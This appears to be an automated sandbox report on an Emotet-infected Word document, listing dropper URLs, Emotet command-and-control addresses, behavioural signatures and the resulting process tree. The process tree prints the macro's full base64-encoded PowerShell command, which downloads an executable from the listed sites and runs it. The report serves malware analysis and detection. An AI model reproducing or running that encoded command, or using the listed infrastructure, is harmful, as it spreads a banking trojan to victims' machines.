Analysis
- max time kernel
138s - max time network
146s - platform
windows10_x64 - resource
win10 - submitted
29/09/2020, 17:47
General
- Target emotet_e1_b8c7830a4a2390d6b31f40d0dd0958d1ee0844ac3dc20484bd00a9bc6ca87be7_2020-09-29__174359336795._doc.doc
- Size 170KB
- Sample200929-fa1vwzmlj2
- SHA256 b8c7830a4a2390d6b31f40d0dd0958d1ee0844ac3dc20484bd00a9bc6ca87be7
Malware Config
Extracted
-
ps1
-
exe.dropper
http://shop.qihchina.com/validators/8/
-
exe.dropper
http://skoolkam.com/blog/5ji/
-
exe.dropper
http://shopmebom.webdungsan.com/wp-admin/1Oy/
-
exe.dropper
http://demo77.webdungsan.com/wp-admin/6m/
-
exe.dropper
https://wyyichen.com/wp-includes/W0N/
-
exe.dropper
http://94.24.72.63/wp-content/te/
-
exe.dropper
http://topupez.info/wp-includes/DEr/
Extracted
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emotet
-
128.92.203.42:80
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37.187.161.206:8080
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202.29.239.162:443
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80.87.201.221:7080
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190.188.245.242:80
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12.163.208.58:80
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213.197.182.158:8080
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201.213.177.139:80
-
62.84.75.50:80
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45.33.77.42:8080
-
185.183.16.47:80
-
78.249.119.122:80
-
177.129.17.170:443
-
51.15.7.189:80
-
152.169.22.67:80
-
119.106.216.84:80
-
109.169.12.78:80
-
51.15.7.145:80
-
219.92.13.25:80
-
190.117.79.209:80
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Emotet Payload 4 IoCs
Detects Emotet payload in memory.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 13 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_b8c7830a4a2390d6b31f40d0dd0958d1ee0844ac3dc20484bd00a9bc6ca87be7_2020-09-29__174359336795._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exePOwersheLL -ENCOD JABRAHYAMABsAG4ANAA1AD0AKAAnAFEAOQAnACsAKAAnAHkAagA4ACcAKwAnAG0AOQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABlAFwARAA1AFUAMABoAEYAMwBcAGwAdABWAEsATwBNAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAGkAVABZAFAAUgBgAE8AYABUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAJwApACsAJwAxACwAJwArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABFAHEAbABpAGQAXwByACAAPQAgACgAKAAnAFcAeQAnACsAJwBsACcAKQArACgAJwBpAHgAJwArACcAdgA1ACcAKQArACcAagAzACcAKQA7ACQAUQAyAGYANQB0ADYAbAA9ACgAJwBPACcAKwAoACcAcwAnACsAJwBiAGcAJwApACsAKAAnAHQAbQAnACsAJwBfACcAKQApADsAJABLAHUANQBkAGoAMQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEQAJwArACcANQB1ADAAaABmADMAewAwAH0ATAB0AHYAawBvAG0AZQB7ACcAKwAnADAAfQAnACkALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQARQBxAGwAaQBkAF8AcgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBqAHMAcwA1AGQAdgA9ACgAJwBLACcAKwAnADEAJwArACgAJwBhADcAYQAnACsAJwBjADIAJwApACkAOwAkAFYAZwB3AG4ANgBoADgAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBsAGkAZQBOAHQAOwAkAE4AMQA2ADUAMQBoAHUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaAAnACsAJwBvAHAALgBxAGkAJwApACsAKAAnAGgAYwBoAGkAbgBhACcAKwAnAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC8AdgBhAGwAaQBkAGEAJwApACsAJwB0ACcAKwAoACcAbwAnACsAJwByAHMALwAnACkAKwAoACcAOAAvACoAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwArACcAOgAvAC8AcwBrAG8AJwArACcAbwBsAGsAYQBtACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwArACcAYgBsAG8AJwArACcAZwAvADUAagAnACkAKwAoACcAaQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBzACcAKQArACgAJwBoACcAKwAnAG8AcAAnACkAKwAoACcAbQAnACsAJwBlAGIAbwBtACcAKQArACcALgB3ACcAKwAoACcAZQBiAGQAdQAnACsAJwBuACcAKwAnAGcAcwAnACkAKwAoACcAYQAnACsAJwBuAC4AYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwAxAE8AeQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAoACcAZABlAG0AJwArACcAbwAnACkAKwAnADcAJwArACcANwAuACcAKwAnAHcAJwArACcAZQAnACsAJwBiACcAKwAoACcAZAAnACsAJwB1AG4AZwAnACkAKwAnAHMAYQAnACsAJwBuACcAKwAoACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQAnACsAJwBpAG4ALwA2ACcAKQArACgAJwBtAC8AJwArACcAKgAnACsAJwBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB5AHkAaQBjAGgAZQAnACsAJwBuAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwBwACcAKwAnAC0AaQBuAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvAFcAMABOAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6AC8AJwArACcALwA5ACcAKQArACgAJwA0ACcAKwAnAC4AMgAnACkAKwAoACcANAAnACsAJwAuACcAKwAnADcAMgAuADYAMwAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAvACcAKwAnAHQAZQAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvAHQAbwAnACsAJwBwAHUAcABlAHoAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAoACcARAAnACsAJwBFAHIALwAnACkAKQAuACIAUwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAGsAZgBkAHkANABwAD0AKAAnAFkAaQAnACsAJwAzAHAAJwArACgAJwA2AHoAJwArACcAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbgB2AHEAYwBnAHQAIABpAG4AIAAkAE4AMQA2ADUAMQBoAHUAKQB7AHQAcgB5AHsAJABWAGcAdwBuADYAaAA4AC4AIgBkAGAATwB3AG4AYABsAE8AYQBEAGAARgBJAEwAZQAiACgAJABYAG4AdgBxAGMAZwB0ACwAIAAkAEsAdQA1AGQAagAxAGQAKQA7ACQARwA3AGoAdgAzAGoAawA9ACgAKAAnAEUAJwArACcAcQBwACcAKQArACgAJwA0ACcAKwAnADUAcQB4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEsAdQA1AGQAagAxAGQAKQAuACIATABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAAMgA1ADcAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQASwB1ADUAZABqADEAZAApADsAJABJAHkAagBoADgAZAB0AD0AKAAoACcAUgB1AHYAbQAnACsAJwBmACcAKQArACcANQB6ACcAKQA7AGIAcgBlAGEAawA7ACQAQgB4AGYANABnADkAagA9ACgAKAAnAFAAJwArACcAOAAnACsAJwBoAG8AdwBfACcAKQArACcAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQB0AGIAOAAzAG0APQAoACcAUwAyACcAKwAnAGQAMQAnACsAKAAnAHoAJwArACcAaQBhACcAKQApAA==1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\D5u0hf3\Ltvkome\Wylixv5j3.exe"C:\Users\Admin\D5u0hf3\Ltvkome\Wylixv5j3.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cttune\Windows.System.Profile.HardwareId.exe"C:\Windows\SysWOW64\cttune\Windows.System.Profile.HardwareId.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
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Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
memory/720-4-0x000001BAC8395000-0x000001BAC83A3000-memory.dmp
memory/720-2-0x000001BACAA06000-0x000001BACAA0B000-memory.dmp
memory/720-5-0x000001BACABA1000-0x000001BACABA6000-memory.dmp
memory/720-6-0x000001BACABA1000-0x000001BACABA6000-memory.dmp
memory/720-7-0x000001BACABA1000-0x000001BACABA6000-memory.dmp
memory/720-1-0x000001BACAA0B000-0x000001BACAA10000-memory.dmp
memory/720-0-0x00007FFFB8D00000-0x00007FFFB93C6000-memory.dmp
memory/720-3-0x000001BACAA06000-0x000001BACAA0B000-memory.dmp
memory/1256-17-0x0000000002210000-0x0000000002220000-memory.dmp
memory/1748-10-0x00000234FBD30000-0x00000234FBD31000-memory.dmp
memory/1748-9-0x00000234FB610000-0x00000234FB611000-memory.dmp
memory/1748-8-0x00007FFFB1820000-0x00007FFFB220C000-memory.dmp
memory/2068-23-0x0000000002180000-0x0000000002190000-memory.dmp